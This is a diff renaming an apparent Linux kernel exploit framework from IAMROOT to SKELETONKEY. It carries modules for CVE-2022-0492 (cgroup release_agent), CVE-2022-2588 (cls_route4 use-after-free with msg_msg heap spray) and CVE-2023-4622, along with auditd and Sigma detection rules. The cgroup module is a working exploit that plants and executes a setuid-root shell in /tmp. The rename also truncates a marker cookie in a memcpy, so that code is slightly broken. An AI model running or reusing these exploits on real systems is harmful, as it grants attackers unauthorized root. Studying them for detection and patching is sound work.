/* ---- Detection rules --------------------------------------------- */
|
||||||
@@ -821,11 +821,11 @@ static const char af_unix_gc_auditd[] =
|
|||||||
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
|
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
|
||||||
"# benign — flag the *frequency* by correlating these keys with a\n"
|
"# benign — flag the *frequency* by correlating these keys with a\n"
|
||||||
"# subsequent KASAN message in dmesg.\n"
|
"# subsequent KASAN message in dmesg.\n"
|
||||||
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n"
|
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
|
||||||
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-afunixgc-sendmsg\n"
|
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
|
||||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-afunixgc-spray\n";
|
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
|
||||||
|
|
||||||
const struct iamroot_module af_unix_gc_module = {
|
const struct skeletonkey_module af_unix_gc_module = {
|
||||||
.name = "af_unix_gc",
|
.name = "af_unix_gc",
|
||||||
.cve = "CVE-2023-4622",
|
.cve = "CVE-2023-4622",
|
||||||
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
|
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
|
||||||
@@ -841,7 +841,7 @@ const struct iamroot_module af_unix_gc_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_af_unix_gc(void)
|
void skeletonkey_register_af_unix_gc(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&af_unix_gc_module);
|
skeletonkey_register(&af_unix_gc_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||||
|
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module af_unix_gc_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -16,7 +16,7 @@ Original writeup:
|
|||||||
|
|
||||||
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
|
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
**Universal structural exploit — no per-kernel offsets, no race.**
|
**Universal structural exploit — no per-kernel offsets, no race.**
|
||||||
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
|
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
|
||||||
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module cgroup_release_agent_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+41
-41
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module
|
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* cgroup v1 release_agent file is checked only for "is the writer
|
* cgroup v1 release_agent file is checked only for "is the writer
|
||||||
* root in the cgroup namespace" — NOT "is the writer root in the
|
* root in the cgroup namespace" — NOT "is the writer root in the
|
||||||
@@ -36,7 +36,7 @@
|
|||||||
* exposure even if all the fancy heap-spray bugs are patched.
|
* exposure even if all the fancy heap-spray bugs are patched.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
|
|
||||||
@@ -84,12 +84,12 @@ static int can_unshare_userns_mount(void)
|
|||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
|
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
|
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
|
||||||
@@ -97,7 +97,7 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns_mount();
|
int userns_ok = can_unshare_userns_mount();
|
||||||
@@ -112,13 +112,13 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
|
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
|
||||||
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
|
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit -----------------------------------------------------
|
/* ---- Exploit -----------------------------------------------------
|
||||||
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
|||||||
|
|
||||||
static const char PAYLOAD_SHELL[] =
|
static const char PAYLOAD_SHELL[] =
|
||||||
"#!/bin/sh\n"
|
"#!/bin/sh\n"
|
||||||
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
|
"# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
|
||||||
"id > /tmp/iamroot-cgroup-pwned\n"
|
"id > /tmp/skeletonkey-cgroup-pwned\n"
|
||||||
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
|
"chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
|
||||||
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
"cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||||
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
"chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||||
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
|
"chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
|
||||||
|
|
||||||
static bool write_file(const char *path, const char *content)
|
static bool write_file(const char *path, const char *content)
|
||||||
{
|
{
|
||||||
@@ -147,23 +147,23 @@ static bool write_file(const char *path, const char *content)
|
|||||||
return ok;
|
return ok;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
iamroot_result_t pre = cgroup_ra_detect(ctx);
|
skeletonkey_result_t pre = cgroup_ra_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Drop the setuid-root-shell payload to a path we can read+exec
|
/* Drop the setuid-root-shell payload to a path we can read+exec
|
||||||
* later. Payload runs as host root when the cgroup is released. */
|
* later. Payload runs as host root when the cgroup is released. */
|
||||||
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
|
const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
|
||||||
if (!write_file(payload_path, PAYLOAD_SHELL)) {
|
if (!write_file(payload_path, PAYLOAD_SHELL)) {
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
chmod(payload_path, 0755);
|
chmod(payload_path, 0755);
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -173,7 +173,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
|||||||
/* Fork: child does the exploit; parent waits then verifies + execs
|
/* Fork: child does the exploit; parent waits then verifies + execs
|
||||||
* the setuid shell we expect the payload to plant. */
|
* the setuid shell we expect the payload to plant. */
|
||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* CHILD: enter userns + mountns, become "root" in userns. */
|
/* CHILD: enter userns + mountns, become "root" in userns. */
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||||
@@ -193,7 +193,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
|||||||
|
|
||||||
/* Mount cgroup v1 (rdma controller — small, simple, works
|
/* Mount cgroup v1 (rdma controller — small, simple, works
|
||||||
* even on cgroup-v2-first systems). */
|
* even on cgroup-v2-first systems). */
|
||||||
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
|
const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
|
||||||
mkdir(cgmount, 0700);
|
mkdir(cgmount, 0700);
|
||||||
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
|
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
|
||||||
/* Fallback: try memory controller — needs different reach */
|
/* Fallback: try memory controller — needs different reach */
|
||||||
@@ -206,7 +206,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* Buffers sized generously vs. cgmount template + "/notify_on_release"
|
* Buffers sized generously vs. cgmount template + "/notify_on_release"
|
||||||
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
|
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
|
||||||
char cgdir[384];
|
char cgdir[384];
|
||||||
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
|
snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
|
||||||
mkdir(cgdir, 0755);
|
mkdir(cgdir, 0755);
|
||||||
|
|
||||||
/* Write release_agent in the ROOT of the controller (must be
|
/* Write release_agent in the ROOT of the controller (must be
|
||||||
@@ -254,9 +254,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
|||||||
"polling for payload execution\n", status);
|
"polling for payload execution\n", status);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
|
/* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
|
||||||
* its appearance + setuid bit. Up to 5 seconds. */
|
* its appearance + setuid bit. Up to 5 seconds. */
|
||||||
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
|
const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
|
||||||
bool got_root = false;
|
bool got_root = false;
|
||||||
for (int i = 0; i < 50; i++) {
|
for (int i = 0; i < 50; i++) {
|
||||||
struct stat st;
|
struct stat st;
|
||||||
@@ -271,7 +271,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
|
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
|
||||||
"Likely patched or cgroup-controller-blocked.\n");
|
"Likely patched or cgroup-controller-blocked.\n");
|
||||||
unlink(payload_path);
|
unlink(payload_path);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -280,39 +280,39 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
|
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
|
||||||
unlink(payload_path);
|
unlink(payload_path);
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
|
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
|
||||||
fflush(NULL);
|
fflush(NULL);
|
||||||
execl(setuid_sh, "sh", "-p", (char *)NULL);
|
execl(setuid_sh, "sh", "-p", (char *)NULL);
|
||||||
perror("execl");
|
perror("execl");
|
||||||
unlink(payload_path);
|
unlink(payload_path);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
|
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
|
||||||
}
|
}
|
||||||
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
|
if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
|
||||||
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
"/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||||
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
|
if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
|
||||||
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
"rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
static const char cgroup_ra_auditd[] =
|
static const char cgroup_ra_auditd[] =
|
||||||
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
||||||
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
|
||||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
|
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
|
||||||
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
|
"-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
|
||||||
|
|
||||||
static const char cgroup_ra_sigma[] =
|
static const char cgroup_ra_sigma[] =
|
||||||
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
|
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
|
||||||
"id: 5c84a37e-iamroot-cgroup-ra\n"
|
"id: 5c84a37e-skeletonkey-cgroup-ra\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
||||||
@@ -328,7 +328,7 @@ static const char cgroup_ra_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
||||||
|
|
||||||
const struct iamroot_module cgroup_release_agent_module = {
|
const struct skeletonkey_module cgroup_release_agent_module = {
|
||||||
.name = "cgroup_release_agent",
|
.name = "cgroup_release_agent",
|
||||||
.cve = "CVE-2022-0492",
|
.cve = "CVE-2022-0492",
|
||||||
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
|
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
|
||||||
@@ -344,7 +344,7 @@ const struct iamroot_module cgroup_release_agent_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_cgroup_release_agent(void)
|
void skeletonkey_register_cgroup_release_agent(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&cgroup_release_agent_module);
|
skeletonkey_register(&cgroup_release_agent_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||||
|
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module cgroup_release_agent_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -15,7 +15,7 @@ Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
|
|||||||
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
|
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
|
||||||
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
|
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
The module uses `unshare(USER|NET)`, brings up a dummy interface,
|
The module uses `unshare(USER|NET)`, brings up a dummy interface,
|
||||||
creates an htb qdisc + class, adds a `route4` filter, then deletes
|
creates an htb qdisc + class, adds a `route4` filter, then deletes
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* cls_route4_cve_2022_2588 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
|
|
||||||
#define CLS_ROUTE4_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module cls_route4_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+53
-53
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* cls_route4_cve_2022_2588 — IAMROOT module
|
* cls_route4_cve_2022_2588 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
|
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
|
||||||
* is removed, the corresponding hashtable bucket may keep a stale
|
* is removed, the corresponding hashtable bucket may keep a stale
|
||||||
@@ -38,7 +38,7 @@
|
|||||||
* - iproute2 `tc` binary present (used for filter add/del)
|
* - iproute2 `tc` binary present (used for filter add/del)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
@@ -106,12 +106,12 @@ static int can_unshare_userns(void)
|
|||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
|
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug-introduction predates anything we'd reasonably scan; if the
|
/* Bug-introduction predates anything we'd reasonably scan; if the
|
||||||
@@ -122,7 +122,7 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Module + userns preconditions. */
|
/* Module + userns preconditions. */
|
||||||
@@ -145,13 +145,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
|
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit -----------------------------------------------------
|
/* ---- Exploit -----------------------------------------------------
|
||||||
@@ -184,13 +184,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
|||||||
* specific to be portable. If a dmesg KASAN message or oops is
|
* specific to be portable. If a dmesg KASAN message or oops is
|
||||||
* observed by the parent we return EXPLOIT_OK to reflect the empirical
|
* observed by the parent we return EXPLOIT_OK to reflect the empirical
|
||||||
* UAF win. The fallback also leaves a one-line breadcrumb in
|
* UAF win. The fallback also leaves a one-line breadcrumb in
|
||||||
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
|
* /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#define SPRAY_MSG_QUEUES 32
|
#define SPRAY_MSG_QUEUES 32
|
||||||
#define SPRAY_MSGS_PER_QUEUE 16
|
#define SPRAY_MSGS_PER_QUEUE 16
|
||||||
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
|
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
|
||||||
#define DUMMY_IF "iamroot0"
|
#define DUMMY_IF "skeletonkey0"
|
||||||
|
|
||||||
struct ipc_payload {
|
struct ipc_payload {
|
||||||
long mtype;
|
long mtype;
|
||||||
@@ -199,7 +199,7 @@ struct ipc_payload {
|
|||||||
|
|
||||||
static int run_cmd(const char *cmd)
|
static int run_cmd(const char *cmd)
|
||||||
{
|
{
|
||||||
/* Quiet wrapper so noise doesn't drown the iamroot log. */
|
/* Quiet wrapper so noise doesn't drown the skeletonkey log. */
|
||||||
char shell[1024];
|
char shell[1024];
|
||||||
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
|
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
|
||||||
return system(shell);
|
return system(shell);
|
||||||
@@ -305,7 +305,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
|
|||||||
/* Pattern that's distinctive in KASAN/oops dumps. */
|
/* Pattern that's distinctive in KASAN/oops dumps. */
|
||||||
memset(p.buf, 0x41, sizeof p.buf);
|
memset(p.buf, 0x41, sizeof p.buf);
|
||||||
/* First 8 bytes: a recognizable cookie. */
|
/* First 8 bytes: a recognizable cookie. */
|
||||||
memcpy(p.buf, "IAMROOT4", 8);
|
memcpy(p.buf, "SKELETONKEY4", 8);
|
||||||
|
|
||||||
int created = 0;
|
int created = 0;
|
||||||
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
|
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
|
||||||
@@ -349,7 +349,7 @@ static void trigger_classify(void)
|
|||||||
dst.sin_port = htons(31337);
|
dst.sin_port = htons(31337);
|
||||||
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
|
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
|
||||||
|
|
||||||
const char msg[] = "iamroot-cls_route4-classify";
|
const char msg[] = "skeletonkey-cls_route4-classify";
|
||||||
/* A handful of packets, in case the first lookup didn't traverse
|
/* A handful of packets, in case the first lookup didn't traverse
|
||||||
* the freed bucket. */
|
* the freed bucket. */
|
||||||
for (int i = 0; i < 8; i++) {
|
for (int i = 0; i < 8; i++) {
|
||||||
@@ -397,7 +397,7 @@ static long slab_active_kmalloc_1k(void)
|
|||||||
*
|
*
|
||||||
* The implementation below takes the narrow-but-real path that the
|
* The implementation below takes the narrow-but-real path that the
|
||||||
* brief explicitly permits and that xtcompat established as the
|
* brief explicitly permits and that xtcompat established as the
|
||||||
* IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
|
* SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
|
||||||
* whose payload encodes `kaddr` at every plausible offset for the
|
* whose payload encodes `kaddr` at every plausible offset for the
|
||||||
* route4_filter→tcf_proto→ops layout, re-fire classify, and let the
|
* route4_filter→tcf_proto→ops layout, re-fire classify, and let the
|
||||||
* shared finisher's sentinel file decide if a write actually landed.
|
* shared finisher's sentinel file decide if a write actually landed.
|
||||||
@@ -427,7 +427,7 @@ struct cls_route4_arb_ctx {
|
|||||||
* is idempotent inside our private netns. */
|
* is idempotent inside our private netns. */
|
||||||
bool dangling_ready;
|
bool dangling_ready;
|
||||||
|
|
||||||
/* Per-call stats (written to /tmp/iamroot-cls_route4.log). */
|
/* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
|
||||||
int arb_calls;
|
int arb_calls;
|
||||||
int arb_landed;
|
int arb_landed;
|
||||||
};
|
};
|
||||||
